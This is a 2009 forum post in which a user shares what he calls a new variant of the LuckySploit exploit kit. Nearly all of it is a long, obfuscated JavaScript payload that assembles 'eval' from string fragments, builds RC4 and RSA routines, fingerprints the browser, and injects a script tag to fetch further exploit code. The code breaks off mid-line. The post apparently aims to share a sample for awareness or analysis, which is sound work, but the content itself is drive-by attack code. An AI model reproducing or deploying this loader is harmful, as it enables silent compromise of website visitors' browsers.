Author Topic: A different version of LuckySploit?  (Read 7964 times)

0 Members and 1 Guest are viewing this topic.

May 30, 2009, 03:00:05 am
Read 7964 times

JohnC

  • Special Members
  • Hero Member

  • Offline
  • *

  • 1964
I came across this exploit just now.

Code: [Select]
<body><script>window.MZQLFH='ev';KRINGU=self;KRINGU=KRINGU.MZQLFH+'al';HTEJEL=window[KRINGU];if(!HTEJEL)HTEJEL=document[KRINGU];KRINGU=HTEJEL;TZXIUS='';OHX='m&0x3fff)<';TLV=';return ';GNF='ion DNX(b){if(b<';JDT='IT;ITO.prot';WMU='.S[j]=t}this.i=0;t';RZZ='urn(y>';REP='pe.SI';VJC='tion GVG(){if';ZQS='==nul';TWX='r[i-1]+e)';KDM='on NOG';ESO=')<<c;r[i-a]=th';WKL=' FWC(){}F';FKE='&255]}DMQ.prot';UEL='n IIT(x,y,r){x.EMC';MMN='i<this.t;+';OCT=';var f=y[d-1];if';MKB='ath.floor(n';OHI='his.DM;while(this.t';ZIC='!=null)q.STR(0);if(r';KCI='fff}return c}functio';DHJ='s.THH():this}fu';PEQ='YPJ;A.pr';WBR='n;var g=f*(1<<this';NOM='rCodeAt(0);fo';JOW='ix(s,b';INL='=null&&E!=null&&N.';SEQ='A.prototype.am=QEY';LTG='on YRM(a){var i';ORP='*(2-x*y%thi';YZG=' z=new ITO(';URE='adf9448fdb2671bfe8d';MVT='IFG[rr++]=vv;func';CXO='.t++]=';WUO=';if(th';ZOC=');b.QMW(r)';ICV='.s}function';XRG='D[CJL++]^=';LNM='i]=s[j];';VSO=',r2=nbi(),g=';HVV='[--n]=0;var b=new FW';OLQ='At(i));';MII='b*64+Y';YQB='--j>=0){v';QZT='f(r!=0)return ';JIB='{';JLI=',1);if((r';UPG=';var c=t';DNY='ull,x)}f';IUS=' r}fun';GUI='his.t-1]|=';KMY='x=this[0];if((';GFI='A.prototype.GOO=';UZV='ction ORX(';EHQ='C=TON;ITO.prototyp';XUO='ND.length;++CJL)';HYK='this.D';IPP='<0&&r.YB';TEZ='*(2-(x&0xff)*y))&0x';EPG='his.doPubli';YNV='()+7)>>3);if(';RXJ='(r){var x=t';IWC='i,x[i],r,2*i,0';XTX=';s[j]=x}';ULE='on ORO(x){return ';CVJ='=x.am(0,y[i],r,i,0';NHI='[i++]=c&this.DM;c>>';QQC='=nbi();x.QMW(r);th';ERO='=(q==null)?n';SOT='{var v=x*thi';CBZ=')-1;g.QMW(r);while(-';HBN='PUH=XID;';UQF='.DB*(this.t-1)+RHQ(t';TFX='ublic=T';LGQ='){var a=n';VGD='HD(b)';FSR='16)}}funct';HMX='At(n)}function I';RXR='cdefghij';USS=';c=(this[i]&d)<<a}';JIX='i<256;++i)thi';JFF='(b==4)k=2;else{this';ZBO='a.substr';EOR='(this.s<0)?thi';NKH=')=="\\n") b';OSC='s.DV))%thi';TJO='<256;';BCO='i=oil;';MNL='var IFG';VTP='"0"+b.IHK(16';GEL='){';XPP='(a,r)}functi';JBV='B-RHQ(a[a.t-1]);i';MMQ='arCodeAt(i--);a';SVJ='his.n=n';VHK='s.S[i]=i;j=0;for(i=';FUI='this.t<=0)re';MBR='t,r)}}if(q!';WMM='if(e<25';IKZ='n";i+=n}retur';LNT='his[i]-a[i];r[';GWB='ll}var a=new Arra';KOL='-i)r[i]';HCC='=0){x=t;r+=8}';WKG='()}functi';YCZ='i,x,w,j,c,n){whi';LJO='+i){r[i-a';KLU='E(r){for(va';WWP='0xffffffff||e<1)ret';RXL='r=nbi();this.abs()';LFL='f(ts!=ms)A.PDG.UCV(';LIM='this.F2;var ';NDU='teElemen';CPG=' XID(m,q,r){var a=';JIQ='y();while(n>2){x[0]=';MDX='i=(i+1)%256;j=';UGP='if(d.';QBH='=(j+this.S[i]+a[i%a.';ZLX=',r)}else{a.QMW(y';DCJ='oil=0;funct';SHG='}else{A.';BHK='s.length,mi';VXK='otype.J';HPX='.ZPH=IHN;QEH.pr';ZBI='i++){';JSB='l;this.q=null;this.C';JPB='TR=VZY;A.pro';ZUP='if(VJR&&(navigat';EHU='S[i]=this.S[j]';RDX='(this.m.t,r);';UMK='oil=0;oil<53;oil++)';XLT='<14)+w[';DIC='=-1;if(sh';RCO='nction DMQ(){t';HSD='s.t-1;i>=0;--i';ZWE='i++)s[i]=i;j=oi';PYV='rn(c==null)';LPU='/this.DB)';PJV='eturn x.Z';GTP='=this.t-1';VSY='klmnopqrstuvwxyz';GWG='()}function';MUK='ND[CJL++]^=';HKL='{this.s';XZO='rn b.IHK';SHM='s.DM:M';KUK='0;this.d=nu';TNZ='bs=BSL;A.prototype.Y';KWR='d.charAt(i';EUN='[d-2]>>';NUX='*d2);if((r[i]+=y.';TRI='r x=(k==';BMO='ototype.GJC=PL';RMQ='|=x<<sh;';CKF='fcafe&0xffffff';OEY='s.DB-sh))-1))<<sh;';NGY='pe.DB=B;A.prototype.';OGL='{a="';HLC='i=false;if(sh==0)th';FPR=' t;this.';WFC='(p+=this.DB-k)}';FXM='r(i=0;i<a.length';EBX=')}function XT';DHX='[i+x.t]+=x.am(i';LSN='adbee';GUD='this.s}functi';DNT='CharCode(Math.floo';MVV='=null;';KLR='j]+(c';ZIX='r2,g,r);els';DNC=',r,2*i,0,1);r.s';IHU='is.j]=t;return this';EZN='=null)';WMT='=this.DB';GWK='.DV;r[';OLW='(this.t<1)return ';ZWY='th){a+=s';GCT='.S[this.i])';QRJ='15)*t';YHE='r.STR(i)';RGY='iptTag=document.crea';IPI='.n)}functio';VXT='=1,t;if((t=x>';MLZ='on RHQ(x){var r';HIR='this[this.t++';IWZ='h&1)==0)return h;';NJQ='-this.t}f';FFZ='j,c,n){var a=x&0x3ff';ZZE='4;var m=xh*l+h*a';NXI='{if(p<k){d';OSK='().IH';YHY='(x>>8)&255;NN';ZPP='&0x3fffffff);c=(l>>>';TJL='m){this';SZN='.t=i;r.GH';IOM='this.F';YIR='null){NND';UID='m.am(0';PNJ='his.i=0;thi';YGR='255}while(CJL<J';OXI='lse this.t=0}functi';FTM=')}function DZJ(e,m';GEQ='unction ';CPZ='ction B';FVJ=')IFG[rr++]=vv;rr=';WRL='n ZTM(a,r){var i=0';XDL='for(y=0;y<b.';JNS='=IMJ(d)}wh';ENI=']|=((1<<(this.DB-sh';JHG='eea3580cc1762';WYK='ing(d,d+1)';SEW='this.THT(a,2';FLJ='=0;CJL=0}r';NNF='(x>>16)&255;NND[CJL+';KWG=');return';LJW='oor(65';MLC='.S[(t+this';OST='+=Str';DYU='=="Microsoft I';BNM='0;var ';BZT='unction O';LIJ=';r.s=this.s;r.GH';YDG='ype.OCM=DH';EED='[i];r';KMZ='l+h*a;l=a*l+((';ILC='){c+=t';LHH='","10001");';JCH='=new Array(';TBR='sa=new RSAKe';JRH='0)r.SIK(c';FOL='P);A.prototy';RKL='for(i=e-1';XVH='x){x.PUH(';PDJ='else if(b==2)k=1';PRP='DG=nbv(0);A.ON';BTS='};var m=ORX';HNM=' l=this[i]&0x3fff;';QNC='=false,s';JRK='0){m=true;r';NVF='(f==0)retur';HGW='his.S[thi';RFT='<s.length';XPX='(0);for(vv=';LLJ='his.mt2=2*m.t}f';BZI=' b=n%this.DB;var';PYN='(a,b)';GNO='[this.t-1]';OBY='P=52;A.prototype.F';UMR='f(c>0)r[i++]=c;r';SBY='<this.t;++i)r[i-n]';VCE=';i<y.t;++i)r[i+x.t]';DLZ='<=0){p+=this.DB;--i}';GIU='="";';CBK='CJL=0;CJL<N';JWQ='his.s';ZGP='s.j];this';FHO='is.s!=a.s)A';PHV='("number"==';DTM='totype.am=KXL;B=26';KKM='while(-';ZEU='PSH;A.protot';GIV='ar c=IFG[s.charCode';TUW='rn x}functi';TUG='T;QEH.prototype';SHB='this.THT';TRN='pe.F2=2*B-B';PLQ='<this.F1)/g,e=1<<';QWI='n WKB(){return(';OZX='r(i=n-1';WJD='function rc4';DVB='avigator.appVersio';YJJ='[0]==0)b.UQP(x);a';DVJ=' r}fu';KIH='i,x,w,j,';EQX='t("script");scri';URJ='nction DSK';BYP='>0)this[this.t-1';MVP='o){var z';NYR='urn 0}functi';NKV='s,b){var k;i';HXV='f(m)r+=IMJ(d)}}ret';BZK=');else retu';UXH='n new A';HVZ='==c)-';KEK='for(i=0;i<b;i++){';EXF='totype.setPubl';ORT='=this.t+e+1';PWR='m.abs();if(a.t<=0)r';WEW='pe.EMC=DKL;A.prototy';DLC='m=(1<<(m.D';GLZ='){var j=x[i]&0x7';HUF=',c){if(a!=null)if';PXB='ORO;QEH.protot';DFM='<s.leng';FJH='on A(a,b';DIN='y();rs';CFB='s,n){if(n';UJX='proto';FOU='r=i-a.t;';MMS='r,r);re';CVL='])%256])}r';TVE='unction IHN(x,y,r){x';YRE='i=thi';CIV=';var i=0;while(i+n';EKH=';l=a*l+((';HBW='is.m,x';XSE='var h=this';YSV='s=new ';BSN='{k';YST='ength))%256;';YEI='6)k=8;';BDQ=']&0xff:IHF(s';UKP=',b,c)';GTL='M(j,t);if(r.Y';VOK='y();var';RQS='M==null){TVS();KSM=S';PXE='MW=UDE;A.prototype.S';XDD='a.setPub';PIF='is.t;var p=t';XKY=';var rr,vv';XTE=',a,x,i,0,this.m.t';ISY='r i=r';OZE='r.PUH(this.m,null';YRW='C();var x';KQV=')-1);A.prototy';TKO=';else if(sh+k';RZM='pe.UM';GGF='hile(r[i]<--k)r.UCV(';DOB='y,y);while(y.t';GQT='5;t=t';VFL=')=="="||';HYS='ll;this.p=nul';WQE='is.toRadix(b);var ';YLK='At(y)^s[(s[i]+s[j';PLB='=1}return r}';KRM='56);else ';GGT='=this[i];r.t=this';VCO=';i>=0;--i)r[i]=';RMD='(l>>28)+(m>>14)+x';EUS='++]=t>';UGT='ile(i>=0)';NEP='>0)a[--n]=s.ch';DFY='6||m.ZUU())z=';MFN='on nb';OFL='-1]|=(this[i]&d';EMD=',z)}A.pr';BSW='B-sh))}el';ODJ='s.length)}funct';SUD='762adf944';PRU=';return this';WGW=' x.mod(this.m);e';NOE='on TJH(N,E){if(N!';KWX='56789ab';GEY='this.t);while(i<m';TWP='GHI();x.BXF(this';GDD='B)sh-=th';TOM='NPM(j,t);r';FKX='eturn c}';EJP='536*M';LQV='function he';SOM='SI(a,b';IGD='=new Array';PSC='this.s}else{c+=th';XUK='ction RSAKey(){t';UUB='CJL-=JSZ}f';NRP='.PDG.UCV(r';EVW='0;for(i=0;i<x.t';NVJ='I()}functio';IWJ='NO=null;this.ULY';WKJ=')k=4;else';RZD='his.s}fu';XKZ='=this.mt';TOG='.prototype.a';MVN='0)?-1:0;if(';VVQ='is.m.t;x[j]+=this.';TMQ='charCodeAt(t)&';HDL='le(--n>=0){var';VWE='r y=x&3;';JEK='];r[i++]=c&this.D';CNB='urn m?r:"0';PTY=';B=30}else ';TXU='s[i++]>>15;var';NOW='.t;r.s=this';ZOK='SZ){t=Math.fl';UUU='16)k=4;else ';CEW='ptTag.src="?"+';ZVT='ull}functi';WBE='pe.DV=';QDB='.t>0)?(thi';KGZ='is[i]>>b';KBE='(1<<B);var BI_F';KZO='r CJL';SHD=')==0xefcafe);functi';DDQ='KB();KSM.';OGR='))>0)z.ZPH(';EHV='h*h;w[j++]=l&0';GIF='.t-1]';NRY='1;while(i>=0&&n';REN='r i;fo';IVW='Code(parseInt(b/';QKO='.prototy';XHS='t(sss);next';LHG='I()}function D';PDW='{return new A(nu';JPO='RM;DMQ.prototype.ne';ZRS='";b=0;';DMZ='nction YZF(a){v';UFN='.prototype.THH=QYL;A';GJW=';t=this.S[i];this.';VDW='E=nbv(1);fu';NVP='n QEY(';JZC='[0]&0x80)!=0)';DWN='ototype.GHI=D';WVE='t){c-=a';OSO='(d=this[i]>>p)>';RBY='m&0x7fff)<<15)+w[';RIF='(16)}fun';NXG='Decrypt';CZQ='c<-1)r[i++]=';TUF=';while(--i>=0)if(';ZLT='e{var t=r;r=r2;r2=';ZQT='i+x.t+1]=1}}if(r.t';PLW='(p<this.DB&&';KXV=')r[i+n]=this[i];fo';VJV='.PUH(a,nul';GQY='r(vv=10;vv<36;++vv)';UXB='l)){k=oil';RCT=';r.t=Math.max(this';MKW='ND(th';MWK='ci="";';JWV='.t<a.t){if(q';CIO='x=s[i];s[i]';ZRH='otype.mod=SZX;A.p';OKS='i=x.t;r.t=i';LSV='HF(s,i){v';XVC=';i>=0;--i)r[i]=0';YCD='(r,r)}function NKD';QYE='funct';TMO='le(--n>=0)';YGZ='turn 0;va';WQL='i=r.t,j=';LDN='klmnopqrstuvwxyz";';QDH='s.m.t;++i';POY='-n>=0){var l=th';SXN='urn A.ONE;va';MBL='+]^=(x>>24';QRO='f,xh=x>>14;whi';GEJ='(b==4)k=2;els';NSH='YBT(this.m)>';MXF='(N,16)';EYP='his.OCM(r)}functio';EUK='unction';GRN='on HEO(n,r';HGC='00);w[j++]';EUX='f(c>0){a.UMS(c,y);';MDJ='EO=XT';QFO=']-=x.DV;x[+';EQI='if(isNaN(oi';ZXM='n GMT(a,r){retur';RMM='SL(){return';PZQ='e=="Netscape"&&n';WVW='10;vv<36;++vv';VWM='r[i+x.t]-=x';HCR='+11){ret';MMM='n SZX(a){var ';ZEY='else if(x<-1)this';FJD='L;QEH.prototype.HVC=';XHU='for(i=0;';JFL='||x.YBT(this.m)>=0)r';MEO='length>0&&E.le';XEM='}if(b>0)';GKI='GVG;A.prototype.ZUU=';YKO='c=x.am(';QHX='=new Array()';KPS='y:-y}function IT';CVH=' JSZ=256;var KSM;v';IBW='.UCV=ZTM;A.prototy';ZYW=')&255;if(CJL>=JSZ)';BRK='DG.UCV(this,this)}fu';PFG=';if(a>=this.t){r.';UCN='rototype.ZND=DZJ;A.P';BSS=' c=this.DB-b;var d=(';IKW='l)r=nbi();v';WOV=' i=s.length-';LPP='}if(d>0)m=true;i';DER='(k-p);d|=this[--i]>>';JQO='xfffffff}return c}';HEG='ate().getTime())}i';PBC='>0)r[r';BZU='is.s&this.';QEB='ndom(';GNU='.EMC(y,r);t';WFJ='FJZ(n,r){var i;for(';SEJ='O;ITO.prototype.HV';OVC=' if(b==8)';IRH='.GHI()}functio';KXX='turn r}fun';ZWZ='=this[i]';YXX='return';GRY='>>=this.DB';BGM='is.s;w';TBG=';this.e=parseInt(E,';WCI='s.m=m;this.mp=m.';TJS='s.DV;ret';SZC='f(b==16';HBJ='is.DB}if(k==8&&(s';RSM='nbi()';TRP='l,r);if(t';XCO='x>0)this[0]=x;';BCZ='rototype.doP';YCX='(x){r';DWU='t.UCV(';SGT='return ';NTP='{retur';PTS='else r';YGM=';i>=0;--i){r[i';DIM='res=rsa.encryp';GLD=';if(i-->0){if';HFF='res;document.b';OOO=';this';XOG='A.ONE';FZD='<c;r.t=this.t-a;r';HRT='his.OCM(r)}function ';ZIZ='+1,2*x';KIF='=3;els';XHR='.t-n,0);r.s=';ZIU=',x.t);r.s=0;r.GHI()';HCZ='(a){if(oil>1){oil';FHE='[i],r,2*i+1,';FTW='j+this.S[this.i])&25';GWI='-1;++i){var ';VYE='!=0){x=t;r+=';XJO='c=1;for(i=0;i';GEO='8)?s[i';EON='j,0,d))<k){y.';RQG='I_FP;var YLY="';NCY='();k+=a;a=k;';UHI=']=(x>>(this.D';GVV='B=28}A';KZF=',c=0,m=Math.min(a.t,';RLJ='lse retu';OMR='>>8;NND[CJL++]=t&';MFE=']>>(p-=k))&a;if(p';RHF='h=0;while(--i>=0){va';UBK='){var z;';SPO='his.mpl=this.mp&0x';QSX='VO(x){';QEN='M;c>>=this.DB}c+=';VPU='appNam';IFH=';oil=0}';BWF='rn c}function';MRG='j=(this.';GCM='prototype.exp=';XBG='TVS(){GEO(new D';FPN='ototype.Q';VYW='t=0;re';FXU='2)x[x.t++]=';WXQ='r i=this.t-1;i>=0;-';VYU='.UCV(t,r);w';QTW='s.mp>>15;this.u';MQM='unction K';ZKK='is.e,this';OQO='r(75+Math';UIH='r(var i=a+1;';BGV='is.OCM(r);return';BRD='a=(1<<k)-1,d,m=false';CTQ='}ret';IVZ='nction RE';MJG='r){x.SDO(r);thi';ZUU='}var d=y.t';ZCS=']+w[j]+c;c=Math.';YVX='ototype.JEO=UJW;func';CGO='[a]>>b;fo';EJM='ion DJL(a,b)';CLY='if(r!=0)r';SYY='q,q)}r.t=d;r.';MPE='n]=2;a[';EPB='bs(),y=a.abs();var ';WMN='else{d=';BVM='(){var c=thi';TUH='m.s;var c=t';WTR='r r=nbi()';RBH='y=(y*(2-(x&0xf)*';QZP='=(thi';FXQ='j=(j+s[i]+a.c';SUY='bstring(i,';VFY='var x=this.a';KND='length])&255';XMZ=',r);if(ts<0)A';RDD='"}function QYL(){va';YXI='t;r+=4}if((t=x>>2)';SME='m)<<15)';EEP='c));b%=c';VEI='ing.fromChar';JBL='r[this.t-a-1]|=(this';MMH='.S[th';CCZ=')&x.DM;j=i+th';ZPI='}VJR=((0xde';JVO='Code(b.charCode';LUV='e.BXF=IFZ;A.prototy';RZI=';++i)a';VFO='length;y++){';ILE='var r=nbi(';VMZ='ypt=I';TTU=';else if(b==null&&';NEY='}if(r';GBH='ontinue}m';VUH='f(mi)A.P';TFZ='f(x.s<0';CLG='(c>>>30);w[j++]';QTY=')=="-")mi=true;c';OME='n YLY.char';PFC='30)+(m>>>15)+xh*h+';DJD='is[th';VNZ=')>=x.DV){';PQS='r r=nbi();A.P';XVQ='8fdb267';IFG=' EDS(i,x,w,';ZRB='+(x[i]>>';YUQ='ndom(32);for(t=0;t';MYV='=SSI(YIG,53);a=ci';NCJ='0x10)return';KLM='xToString(d)';FHM=' KSLs(a){va';PYC='[i])!=0)retu';XFI='m==null)return null';BBO='.m=m}functio';LSS='eturn;var b=thi';IDB='B-15))-1;t';TNK=')*a.leng';KRE='=0;vv<=9;++vv)IFG[r';GXK='sh+=k;if(sh>=this.D';BCI='K=QGG;A.prototype';ZMJ='his.abs();va';SGJ='sss+=String.from';ILZ='.PDG.UCV';SRT='((e&(1<<i';LGB='f,xh=x>>15;';CGW='255;this.';JWY=';function GEO(x){NND';QQN='ion S';UVU='mpl+(((j*this.mph';WBX='L(){if(KS';NPV=';for(i=0';CHI='hile(i<';RQO='turn 0';FVO='[i]=KSL';VPO='ngth>0){this.n=GMT';HCF='!=null)this.QMW(r);';GXY='his[this.t-1]^(th';CVG='ll)}function KXL(';QKJ='otype.init=Y';MIS='0xffff;y=(y';HIM='DG.UCV(this,r';FYY='peof a)';FSX='((d>1)?y';BVR='%this.DB;var b=thi';KXY='s.OCM(r)}QEH.pr';UZJ='his.S[this.i];this.S';MVF='(var i=n;i';QFN='this.TSE=n';VQZ='s.DB-a;var d=(1<';NCB='c/4);if(c!=';UHS='!="Netscape")){A.pro';JLO='on QEH(';TRU='ull;this.e=';DJM='key=res;var scr';ZZU='"A".cha';SJZ='255}CJL=0;TV';TVZ='reak;b=';KRJ='<d.length;i++)';CBP='-i>=0){z.JEO(r';DKH='ction PSH(e,z){if(e>';KSB='Math.floor(Math.ra';WZQ='is[i]&0x7fff;v';RPG='n DJL(a,b)';XPZ='=null){r';RFQ='.m.t,x);if(x.';ZIT='(x&((1<<(thi';NJM='r}function YPJ(';CRG='a.t){c-=a';NXH='while(--i>=0)r[i]=';OOT='deAt(0);for(vv';BWR='"string"!=ty';UXK=' TON(x){var r';YKF='vv;rr="a".charCodeAt';XQW='?-1:c}function UD';EVK='WC.prototype.UQP=KSL';GLG='eturn';LFE='his.m';KDW='2}if((t=x';PSV='x}function DHT(';HTH='h=this.FV/g,d2=(1<';SIC='.sin(oil)*21));r';YCL='n QGG(n,r){r.';ONL='lic("9eea3580cc1';UOE='ype.IHK=OHD;A';VUU='}c-=a.s}r.s=(c<';BEV='.prototy';YXG=');x.abs().NPM';UPE='.F1)+';SNG='0123456789+/=";';DVC='{retur';RDU='[i++]>>1';SBZ='[--n]=x[0]}a[--';LRT='w DMQ()}var';TFH='his.j=0}functio';RLX='0;i<256;++i){j';PEJ='n FZF(){var';OVJ='criptTag);';YRH='64){a+=Str';DDC='{x=t;r+';MLW='GHI();if(c>';COQ='(a,(this.n.QTC';JJK='O(m){thi';ENB='&this.u';ULP='ar r=this.';FYU='K(b);var k;if(b==';ELP='nction IFZ(n,';XRI='pe.SDO=NK';KJN='c,n){var a=x&0x7ff';CMN='ody.appendChild(s';ESV='=new Arra';JZY='=l&0x3fffffff}retu';MKM='=0)x.UCV(th';ULK='z.GJC(this),i=RHQ(e';GIQ='v(i){var r=nbi();';QHF='df9448fdb2671bd08539';GMC='C(x,r){x.SDO(r);t';TKI='null;var h=c.IHK(';TBZ=',r);return r';NYS='<b)-1;var e=Math.f';QLK='ff;y=(y*(2-(((x&0';HVC='8fdb2671bd08539ee';IVH='s-a.s;i';GPV=',r)}functio';ERP='[this.i]=t';KVL=',j,t;';LSI='s[i]&((1<<p)-1))<<';WBJ='.UCV(';VET='t}}return z.HVC(r';HLX='init(NND';UWT='=0;r.GHI()}function';XTM='his.mpl)';URF='1<<b)-1;r[0]=this';SHV='eturn r';NIT='e if(b=';ZDC='if((t=x>>4)!=0){x=';TKZ='pe.F1=BI_FP-B;A';UMQ='C;functio';NMB='}functi';TKB='s.j=0;this.S';PON='am(0,k,r,';XMF='0;while(x';QWR='TO.prototype.ZPH=I';HNU='7fff;this.mph=thi';YHV='PL;RSAKey.pro';KHF='<256;';QCL='se this[this.t-1]';DDW='e return th';ZGM='(this[i';RRW='+j]++}}x.';BZR='xt=FZF;func';TEP='Array';WDU='urn ci}YIG="AB';NSR='his.DB-(i*this.DB)%k';QPB='>this.DB){this[t';QIW='IG.indexOf(d.char';VBU='typeof a';RTS='>0&&this';PSP='if(VJR&&(n';ULO='for(i=oil;i';HGQ='turn}var';JOE='nternet Explorer")){';CTS='r){for';EQP='s="";for(';NRE='DM=((1<<B';SIM='this.DB),c=(this.s<';WEP='n PLL(x){i';FYV='tion IMJ(n)';NFZ='j]+c;c=';UPN='w A(a)}fun';JFU='s[j]=x;c';SWI='e.NPM=FJZ;A.prototyp';RJE='[0]=x+DV;e';YQJ='0;for';UWN=';r.t=this.t+n;r.s=t';IJF='i-d,t';GFC='ar k=(r[--i]==f)?thi';DOH='<a)&this.DM,i;for(i';NQU='is.t++]=x';SMV='this.GHI();i';OSI='e.GJC=KV';MCT='type.encr';OEZ='x&1)==0)re';WZV='ar NND;va';HNI='is.s=(x<0)?-1:0;if(';DFW='tion SKB(){return ne';OBC='0}fun';MLE='}}return a';OZH='(this';WWD='=window.crypto.ra';KGK='+=x.am(i,x[i]';MCS='function ZPX(){if(';ZDR=');CJL=0;va';WSY='r t;if(navigator.';KGO='=2)k=1;else if(b';LMD='[CJL++]^=x&255;N';TKK='f(x<0){if(s.charAt(i';WKU='S()}function KS';YPI='n a+s.su';FKD='if(b==32)k=5;else if';CXJ='ar h=thi';BWW='s.t=0;t';LVM='DM))}function ';CVK='s;functio';MQU='a3580cc1762adf944';MPX='<z.length;++t)NND[';UBZ='s.s&t';SLM='))-1)<<sh}';FGW='r[i]*h+(';RWW='.NPM(d,t);';FBX='ic=TJH;RSAKey.proto';UKD='.substring(i,i+n)+"\\';JNK=';r+=16}if((t=x>>8)!';PXL='fff;var a=(j*this.';IXJ='(a,b)}fun';QKX='01234';HXY='ction ';WGT='SK;A.prototyp';BLQ='loor(n/';XVW='rn r;ret';BVP='th);ci+=';JGB='2:0);var ';KCQ='JG;ss';SBD='VWXYZabcdefghij';BSH='this.m,n';TFB='l;for(i=oil;i';FQQ='1):this.s)==';UUG='CDEFGHIJ';BIC='=v&0x3fff';XHB='BT=YZF;A.prototype.Q';OMM='S=HEO';BCW='+y.t;wh';GBY=' m=xh*';JZK='0;r[e]=c;r.t';QOK='n IJG';LVC=',r2);if';HDN='{if(this.s<0)r';WII='xffff)*y)&0xffff)))&';PUT='T(A.PDG)>0)t';SSH='e.OCM=REQ;I';PVW='r++]=';UZD='totype.THT=';FXP='Q(x){while(x.t<';WUZ='V=Math.pow(2,BI_F';GEG='T(A.PDG)>0)a.UCV(r';GWP=');return}thi';QXP=');whil';CEM=',r);if(x.s<0&&r.YB';RJX='WKB;A.';PYF='TC=ZPX;A.prot';JUZ='eturn"-"+this.THH';UHN='urn nu';TRR='CJL++]=z.';WDM='var d=';ZFQ=';rr="0".charCo';CWT='UJW(x,';MLI='ndom());NND[CJL';YKS=');for(';CWC='avigator.appName';KXD='eturn"0"+h}RSAKey.p';BVU='ction';GUR='(r=this[i]-a';BQQ=' VZY(x){this.t=1;th';YIO=',r="",i=th';LCD='s[i++';WIU='268a3580cc1762a';URM='(j+s[i])%256;';XZR='s.abs();if(b';UJZ='.s;while';HEF='n<"5"&&window.crypt';BNV='ing.fromChar';XGR='KLMNOPQRSTU';KDR='or.appName';JSN='.s&d)<';TDZ='s=this.s;var a=M';CBE='eturn KSM.next()}f';BES='+e+1]=(this[i]>>b)|c';QTT='ath.ra';ZPT='>>1)!=0)';CTK='i=(this.i+1)&';NFN='NND[CJL]';DKO='if(b==8)k';LQC='new QEH(m);else';ZGS='his.s=0;var i=';TJY=';c="";';ZNR=',i);i';PQJ='V+c;else i';BOT='==32)k=5;else if';YTF='At(i)];retu';MOO=';A.prototy';OSD='r;var i=this.t;';FOJ='>>16)!=0){x=t';QGE='c(m);if(c=';KJH='y))&0xf;y=(y';ONN='.fromRad';BRX='<d)y[y.t++]=0;';QCW=')this.fromNumber(a';NNW='type.am=EDS;';ZTK='.t=2*x.t;';IFK='}if(a.t<this.';JBX='(y,r);this.O';EIL='ath.floor(';TUR='while(';MUO=';else ';WLT='charAt(i';KOQ='ar y=nbi';LMS='(),ts=this.s,ms=';JWR='.BXF(d,q);i';WDP='16);if((h.lengt';EST='=s[j]';YOF='harCodeAt(i%a.l';PZH='GOO();t';ERB='k=3;else if(b==25';CBV='c,x.t-i-1)';RUP='D;A.prototype.';KZT='m);return this.exp(e';WTL='}';HDF='e(x[j]>=x.DV){x[j';OLY='ion TPL';ULD='f(NND==';LPO='b.UMS(c';TEG='CM(r)}ITO.prototyp';TEJ='floor(v/0x40000';GKH='(var i=0;i<thi';GZT='bi():q;y.NP';LJY='x=s[i];s[';DVT='j=oil';DYF='0)?this.DV-';NXD='(i<this.t){c+=this[i';LZB='--n]=0;return ne';ZSW='(s,n){var a=""';OOC='ile(--i>=0)r[i]=0';NRI='BT(t)>=0){r[r';VJQ='c=(c==1?64:';DDX='s[0]&';FGO='i++]=c&this.DM;c';FZT='1;r.UCV(t,r)}';BBR='KL(a,r){';WMD='his.D';TZXIUS+=QYE+QQN+SOM+GEL+MWK+KEK+WDM+KSB+QEB+TNK+BVP+ZBO+WYK+CTQ+WDU+UUG+XGR+SBD+VSY+SNG+LQV+KLM+OGL+ZRS+XJO+KRJ+JIB+UGP+WLT+VFL+KWR+NKH+TVZ+MII+QIW+OLQ+VJQ+NCB+YRH+BNV+IVW+EEP+MLE+WTL+DCJ+EJM+BSN+GIU+EQI+UXB+IFH+YSV+TEP+NCY+ULO+TJO+ZWE+TFB+KHF+ZBI+FXQ+YOF+YST+CIO+EST+XTX+BCO+DVT+TJY+XDL+VFO+MDX+URM+LJY+LNM+JFU+OST+VEI+JVO+YLK+CVL+FKX+WJD+NXG+PYN+DVC+RPG+ZPI+LSN+CKF+SHD+FJH+HUF+PHV+VBU+QCW+UKP+TTU+BWR+FYY+SEW+KRM+SHB+IXJ+HXY+RSM+PDW+CVG+YCZ+TMO+SOT+LCD+ZCS+TEJ+HGC+BIC+KCI+NVP+KIH+KJN+LGB+KKM+POY+WZQ+CXJ+TXU+GBY+KMZ+RBY+KLR+ZPP+PFC+CLG+JZY+BWF+IFG+FFZ+QRO+HDL+HNM+XSE+RDU+ZZE+EKH+OHX+XLT+NFZ+RMD+EHV+JQO+PSP+CWC+DYU+JOE+SEQ+PTY+ZUP+KDR+UHS+DTM+SHG+UJX+NNW+GVV+QKO+NGY+NRE+KQV+WBE+KBE+OBY+WUZ+FOL+TKZ+BEV+TRN+RQG+QKX+KWX+RXR+LDN+MNL+QHX+XKY+ZFQ+OOT+KRE+PVW+YKF+XPX+WVW+FVJ+ZZU+NOM+GQY+MVT+FYV+NTP+OME+HMX+LSV+GIV+YTF+PYV+XQW+KLU+WXQ+KOL+GGT+NOW+ICV+BQQ+HNI+XCO+ZEY+RJE+OXI+MFN+GIQ+YHE+TLV+NJM+NKV+SZC+WKJ+OVC+ERB+YEI+PDJ+MUO+FKD+JFF+ONN+JOW+GWP+BWW+ZGS+BHK+QNC+RHF+TRI+GEO+BDQ+ZNR+TKK+QTY+GBH+HLC+DJD+NQU+TKO+QPB+GUI+ZIT+OEY+HIR+UHI+BSW+QCL+RMQ+GXK+GDD+HBJ+JZC+HKL+DIC+BYP+ENI+SLM+SMV+VUH+BRK+URJ+BVM+UBZ+OHI+RTS+GNO+HVZ+NJQ+BZT+VGD+HDN+JUZ+OSK+FYU+UUU+DKO+KIF+NIT+KGO+BOT+GEJ+DDW+WQE+BRD+YIO+PIF+NSR+GLD+PLW+OSO+JRK+JNS+UGT+NXI+QZP+LSI+DER+WFC+WMN+ZGM+MFE+DLZ+LPP+HXV+CNB+RDD+PQS+HIM+KWG+IUS+CPZ+RMM+EOR+DHJ+DMZ+ULP+IVH+QZT+OSD+FOU+CLY+SHV+TUF+GUR+PYC+XVW+NYR+MLZ+VXT+FOJ+JNK+HCC+ZDC+YXI+VYE+KDW+ZPT+DDC+PLB+MCS+FUI+RQO+PRU+UQF+GXY+BZU+LVM+WFJ+YRE+HSD+KXV+OZX+XVC+UWN+RZD+ELP+CTS+MVF+SBY+ZWZ+RCT+XHR+GUD+GRN+LGQ+BVR+VQZ+NYS+BLQ+SIM+DOH+GTP+YGM+BES+USS+RKL+VCO+JZK+ORT+LIJ+NVJ+YCL+TDZ+MKB+LPU+PFG+VY